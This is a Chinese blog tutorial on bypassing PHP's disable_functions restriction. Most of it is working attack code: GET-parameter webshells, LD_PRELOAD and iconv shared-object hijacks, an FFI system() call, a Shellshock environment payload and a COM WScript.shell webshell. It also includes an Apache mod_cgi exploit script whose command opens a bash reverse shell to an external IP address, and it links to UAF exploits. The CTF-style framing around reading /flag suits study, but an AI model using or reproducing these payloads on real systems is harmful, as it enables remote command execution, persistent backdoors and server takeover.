侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

Disable_functions绕过

咿呀咿呀
2022-04-21 / 0 评论 / 0 点赞 / 270 阅读 / 22,588 字
温馨提示:
本文最后更新于 2022-04-21,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

Disable_function绕过


disable_functions

​ disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等

黑名单绕过

PHP执行系统命令的函数

  • exec()
  • shell_exec()
  • system()
  • `$command`
  • passthru()
  • popen()
  • proc_open()
  • COM组件
exec()
exec(string $command, array &$output = ?, int &$return_var = ?): string

exec() 执行 command 参数所指定的命令。

参数

command:要执行的命令。

output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符,例如 \n 字符。 请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

return_var:如果同时提供 outputreturn_var 参数, 命令执行后的返回状态会被写入到此变量。

返回值

命令执行结果的最后一行内容。 如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。

如果想要获取命令的输出内容, 请确保使用 output 参数。

示例

<?php
	$command=$_GET['command'];
	$ret=exec($command,$output,$a);
	echo $ret;					#默认只返回第一行结果
	echo "<br>";
	echo "****************************************************";
	echo "<br>";
	echo "Status: ",$a;			#打印出执行状态码
	echo "<br>";
	echo "****************************************************";
	$length=count($output);		#数组的长度
	for($i=0;$i<$length;$i++){
		echo $output[$i];
		echo "<br>";
	}
?>

image-20220420103430100

执行成功的status:0

shell_exec()
shell_exec(string $cmd): string

参数

cmd:要执行的命令

返回值

命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 null

示例

<?php
	$command=$_GET['command'];
	$ret=shell_exec($command);
	echo $ret;
?>

image-20220420105359893

system()
system(string $command, int &$return_var = ?): string

同 C 版本的 system() 函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。

如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。

参数

command:要执行的命令。

return_var :如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

返回值

成功则返回命令输出的最后一行, 失败则返回 false

示例

<?php
	$command=$_GET['command'];
	$ret=system($command);
	echo $ret;
?>

image-20220420111028828

注意

如果程序使用此函数启动,为了能保持在后台运行,此程序必须将输出重定向到文件或其它输出流。否则会导致 PHP 挂起,直至程序执行结束。

$command

示例

<?php
	$command=$_GET['command'];
	$ret=`$command`;
	echo $ret;
?>

image-20220420111801562

passthru()
passthru(string $command, int &$result_code = null): ?bool

exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

参数

command:要执行的命令。

result_code:如果提供 result_code 参数, Unix 命令的返回状态会被记录到此参数。

返回值

成功时返回 null, 或者在失败时返回 false

示例

<?php
	$command=$_GET['command'];
	passthru($command);
?>

image-20220420113327962

注意

如果程序使用此函数启动,为了能保持在后台运行,此程序必须将输出重定向到文件或其它输出流。否则会导致 PHP 挂起,直至程序执行结束。

popen()
popen(string $command, string $mode): resource

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

参数

command:命令

mode:模式

返回值

返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets()fgetss()fwrite()。 当模式为 ‘r’,返回的文件指针等于命令的 STDOUT,当模式为 ‘w’,返回的文件指针等于命令的 STDIN。

如果出错返回 false

示例

<?php
	$command=$_GET['command'];
	$fd = popen($command, 'r'); 
	while($s=fgets($fd)){
		print_r($s);
	}
?>

image-20220420121127565

proc_open()
proc_open(
    mixed $cmd,
    array $descriptorspec,
    array &$pipes,
    string $cwd = null,
    array $env = null,
    array $other_options = null
): resource

类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。

参数

cmd:以 string 形式执行的命令行。特殊字符必须经过转义,并且使用正确的引号。

descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。

数组中的元素可以是:

  • 包含了要传送至进程的管道的描述信息的数组。 第一个元素为描述符类型, 第二个元素是针对该描述符的选项。 有效的类型有:pipe (第二个元素可以是: r 向进程传送该管道的读取端,w 向进程传送该管道的写入端), 以及 file(第二个元素为文件名)。
  • 表达一个真实文件描述符的流资源类型 (例如:已打开的文件,一个 socket 端口,STDIN)。

文件描述符的值不限于 0,1 和 2,你可以使用任何有效的文件描述符 并将其传送至子进程。 这使得你的脚本可以和其他脚本交互操作。 例如,可以通过指定文件描述符将密码以更加安全的方式 传送至诸如 PGP,GPG 和 openssl 程序, 同时也可以很方便的获取这些程序的状态信息。

pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。

env:要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

other_options:你还可以指定一些附加选项。 目前支持的选项包括:

  • suppress_errors (仅用于 Windows 平台): 设置为 true 表示抑制本函数产生的错误。
  • bypass_shell (仅用于 Windows 平台): 设置为 true 表示绕过 cmd.exe shell。
  • blocking_pipes (仅用于 Windows 平台): 设置为 true 表示强制堵塞管道。
  • create_process_group (仅用于 Windows 平台): 设置为 true 表示允许子进程处理 CTRL 事件。
  • create_new_console (仅用于 Windows 平台): 表示新进程有一个新的控制台,用于代替父进程的控制台。

返回值

返回表示进程的资源类型, 当使用完毕之后,请调用 proc_close() 函数来关闭此资源。 如果失败,返回 false

示例

<?php
	$command=$_GET['command'];
    $descriptorspec=array( 
        0=>array('pipe','r'), 
        1=>array('pipe','w'),
        2=>array('pipe','w') 
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
    	die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
    	print_r($s);
    }
    while($s=fgets($pipes[2])){
    	print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>

image-20220420122327527

利用LD_PRELOAD环境变量

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
劫持函数
一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

于是,突破思路如下:

1.找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail

2.写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如getuid()函数

3.运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件

4.运行PHP的mail()函数,这时sendmail会优点调用我们书写的getuid同名函数,达到劫持执行恶意代码的效果

首先查看sendmail会调用哪些函数,这里选择geteuid函数,也可以选择其他函数进行劫持

readelf -Ws /usr/sbin/sendmail

#readelf 只会显示sendmail可能会调用的函数,具体调用的函数应该使用strace -f 进行查看

image-20220420143954585

编写c文件,目的:显示当前目录下的文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

再编写php文件、设置环境变量并执行mail函数

ls.php

<?php
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置
mail("","","","");
?>

将c文件编译后执行php文件

gcc hack.c -o hack.so -shared -fPIC

image-20220420211510235

可以看见ls执行成功

预加载共享对象

在实际情况中,很多机器未安装或者禁止了sendmail功能,www-data权限也不可能去修改php.ini配置、安装sendmail,所以采用另一种方式绕过disable_function

系统通过LD_PRELOAD预先加载对象,如果加载时,就直接进行调用,就不用进行劫持绕过

gcc允许为函数设置如下属性,可以让其修饰的函数在main()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行

__attribute__((__constructor__))
//constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数

hack2.c

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收传入的命令
system(cmd);//执行命令
}

ls2.php

<?php
putenv("CMD=ls");#要执行的命令
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置
error_log("a",1);  #error_log("",1,"",""); 亦可
?>

将c文件编译好后允许,已执行恶意命令

gcc hack2.c -o hack2.so -shared -fPIC

php ls2.php

稍等一会
image-20220420215620120

使用条件

linux os
putenv()
mail,error_log

常用做法

常用是使用yangyangwithgnu大佬的方法

__attribute__

__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)

__attribute__语法格式为:attribute ((attribute-list)) 若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行;类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行
类似构造与析构函数

若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数,所以无需考虑劫持某一函数,只要能LD_PRELOAD并执行php调用新进程,就能劫持共享对象从而bypass disable function

exp demo

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/leon");
}

但是unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

使用for循环修改LD_PRELOAD的首个字符为\0这样可以使系统原有的环境变量自动失效

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

里面有三个GET参数:

cmd:要执行的系统命令;
outpath:保存命令执行后的输出结果
sopath:指定劫持系统函数的共享对象的绝对路径(如:var/www/bypass_disablefunc_x64.so)

想办法将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标,指定好三个 GET 参数后,bypass_disablefunc.php 即可突破 disable_functions。

http://127.0.0.1/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

(有权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含)

利用PHP7.4 FFI

原理简介

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步

使用条件

linux os
PHP >= 7.4
开启了FFI扩展且ffi.enable=true

示例演示

FFI.php

<?php
$ffi = FFI::cdef("int system(const char *command);");#申明ffi,调用system函数
$ffi->system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件

image-20220420225221630

image-20220420225352484

利用shellshock(CVE-2014-6271)

原理介绍

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

攻击者只需将恶意代码写入到环境变量里,传到服务器端,触发服务器运行bash脚本即可

使用条件

目标存在shellshock漏洞
PHP 5.*
Linux OS
putenv()

示例演示

<?php
putenv("PHP_flag=() { :; }; tac /flag >> /var/www/html/flag.txt");#设置环境变量,将flag输入到flag.txt中
error_log("",1,"","");

image-20220420230459446

利用利用Apache Mod CGI

原理介绍

CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。

MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置
Options +ExecCGI
AddHandler cgi-script .aaa
设置.aaa结尾的shell文件(shell.aaa)

#!/bin/bash
echo;whoami;uname -a

将.htacess和shell文件上传到指定目录后,需要给shell我呢见执行权限,互联网中大佬的exp

<?php
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed    "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

上传exp后,会生成一个shell.dizzle的文件,内网内

#!/bin/bash 
​
echo -ne "Content-Type: text/html\n\n" 
​
bash -i >& /dev/tcp/119.29.60.71/2333 0>&1

使用条件

apache环境
mod_cgi已经启用
允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
有权限写.htaccess文件

示例演示

上传cgi.php

<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>


浏览器访问cgi.php后会生成.htacess和shell.dizzle文件,文件内容为:

Options +ExecCGI
AddHandler cgi-script .dizzle

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
tac /flag

访问shell.dizzle 得到flag(未成功)

使用蚁剑 插件
image-20220420233706699

利用PHP-FRM

原理简介

早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。 webserver处理不了了,怎么办呢?那就交给php解释器来处理吧! 交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢? 为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序

有了cgi协议,解决了php解释器与webserver通信的问题,webserver终于可以处理动态语言了。
但是,webserver每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程。这样有10000个请求,就需要fork、kill php-cgi进程10000次。很浪费资源,于是,出现了cgi的改良版本,fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

php-fpm即php-Fastcgi Process Manager. php-fpm是 FastCGI 的实现,并提供了进程管理的功能。 进程包含 master 进程和 worker 进程两种进程。 master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。

由于FPM默认监听9000端口,所以我们可以通过构造fastcgi协议绕过webserver直接与fpm通信

使用条件

Linux os
putenv()
mail() or error_log()

示例演示

image-20220421075334429

上传成功后,会在文件夹下生成一个.antproxy.php的文件
然后我们去连接这个文件,密码是ant
连接上去之后,我们就可以执行命令

插件原理

https://segmentfault.com/a/1190000038646341

.antproxy.php

?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
​
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
​
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
​
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
​
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
​
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
​
$out = $method." ".$url." HTTP/1.1rn";
$out .= "Host: ".$host.":".$port."rn";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."rn";
}
$out .= "Content-length:".strlen($post_data)."rn";
​
$out .= implode("rn",$headers);
$out .= "rnrn";
$out .= "".$post_data;
​
fputs($fp, $out);
​
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "rnrn");
$response = substr($response, $pos+4);
echo $response; 
​

核心代码:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
​
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
​
$fp = fsockopen($host, $port, $errno, $errstr, $timeout); 

可以看到他正在与60882端口进行通信,事实上,这里蚁剑使用 /bin/sh -c php -S 127.0.0.1:60082 -t /var/www/html 开启了一个新的php服务, 并且不适用php.ini,因此也就不存在什么disable了,那么我们在观察其执行过程中的时候,还发现了在 tmp目录下的一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:
在这里插入图片描述

那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。

利用iconv

原理简介

https://blog.csdn.net/qq_42303523/article/details/117911859

iconv是一个计算机程序以及一套应用程序编程接口的名称。 作为应用程序的iconv采用命令行界面,允许将某种特定编码的文件转换为另一种编码。

我们首先上传一个gconv-moudles文件指定我们自定义的字符集文件的.so文件,内容为

module  自定义字符集名(大写)//INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)   2
module  INTERNAL    自定义字符集名(大写)//../../../../../../../../tmp/自定义字符集名字(小写)   2

然后编写.c文件, 内容为我们希望执行的命令函数,将文件打包为.so文件

#include <stdio.h> 
#include <stdlib.h> 
​
void gconv() {}
​
void gconv_init() {  
system("希望执行的命令"); 
}

然后编译,将文件上传至与gconv-modules文件相同的目录下

gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC

编写.php文件,上传目录后,访问即可

<?php    
putenv("GCONV_PATH=gconv-modules文件目录");    
iconv("自定义字符集名", "UTF-8", "whatever");

使用条件

php安装iconv模块
目录可写

示例演示

image-20220421081441516

连接.antproxy.php即可,看看插件做了什么:

image-20220421081657635

image-20220421081719015

image-20220421081908373

首先上传了一个gconv-moudles文件指定我们自定义的字符集文件的.so文件,内容为:

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp  /.75110ant_x64    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp  /.75110ant_x64    2

编写.c文件,内容为我们希望执行的命令函数,将文件变比为.so文件

#include <stdio.h> 
#include <stdlib.h> 
​
void gconv() {}
​
void gconv_init() {  
system("cat /flag > /tmp/flag"); 
}

gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC

编写.php文件,上传目录后,访问即可,然后就在tmp下找flag

<?php    
putenv("GCONV_PATH=/tmp/");    
iconv("自定义字符集名", "UTF-8", "whatever");

使用条件

php安装iconv模块
目录可写

利用GC UAF/Backtrace UAF/Json Serializer UAF

原理介绍

GC UAF漏洞利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。
以下url为exp链接

https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

GC UAF漏洞利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。
Json Serializer UAF漏洞利用利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。尽管不能保证成功,但它应该相当可靠的在所有服务器 api上使用。
使用exp只需要修改pwn中的命令

使用条件

GC(UAF)

linux os
php7.0~7.3

Backtrace UAF

Linux os
7.1 - all versions to date 7.2 < 7.2.19 (released: 30 May 2019) 7.3 < 7.3.6 (released: 30 May 2019)

示例演示

修改exp中的pwn

image-20220421110548112

上传exp,访问即可

image-20220421110935691

imageMagick(CVE-2016-3714)

原理简介

ImageMagick是一款开源图片处理库,支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick 和 paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。

想利用漏洞只需要上传精心制作的图片,ImageMagick会自动转换图片格式,执行恶意代码。

原理:P神博客
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。首先在delegate.xml文件中,定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息,而在之后的command中,部分占位符被拼接在其中,被拼接完的command命令行传入了系统的system函数,导致任意命令执行。

使用条件

安装了具有漏洞版本的imagemagic(<=3.3.0)
安装了php-imagick拓展,且在php.ini中启用
编写php通过new imagick对象的方式来处理图片格式文件
php>=5.4

示例演示

docker
docker pull medicean/vulapps:i_imagemagick_1

docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

访问phpinfo
image-20220421135924693

进入靶场、执行convert /poc.png 1.png命令

image-20220421140628269

查看poc

image-20220421140856681

convert 命令在linux下是这样的:convert是在Windows中的文件系统修改命令,Convert将文件分配表 (FAT) 和 FAT32 卷转换为 NTFS 文件系统,而现有的文件和文件夹完好无损。

根据imagemagick的原理进行分析,在处理poc.png时,imagemagick会使用curl命令将其下载,这是imagemagick处理图片的委托,其中%o是curl输出的文件名,%M是远程的URL路径

<delegate decode="https" command="“curl" -s -k -o “%o" “https:%M”"/>

command中的%M是可以拼接其他指令并被在命令行中执行的。该漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。我们利用poc执行命令

利用windows com组件

原理介绍

COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术,以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。
加载这个组件后,上传能执行系统命令的利用脚本(可以通过已有的webshell上传,也可以像上传shell一样直接上传):
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

这个方法的缺点是com组件只有在PHP 5.4版本默认加载,如果非5.4版本需要手动开启

利用条件

php开启COM服务
windows os

示例演示

上传com_rce.php文件至服务器

在Windows环境中PHP中的COM()函数可以创建系统组件对象来运行系统命令,上传com_rce.php文件,内容如下:

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

访问:http://192.168.1.1/com_rce.php?cmd=whoami

–[无图]–

以上所有内容来自互联网:

https://blog.csdn.net/loseheart157/article/details/121021609
https://blog.csdn.net/qq_36119192/article/details/104703369
https://www.freebuf.com/articles/network/263540.html

0

评论区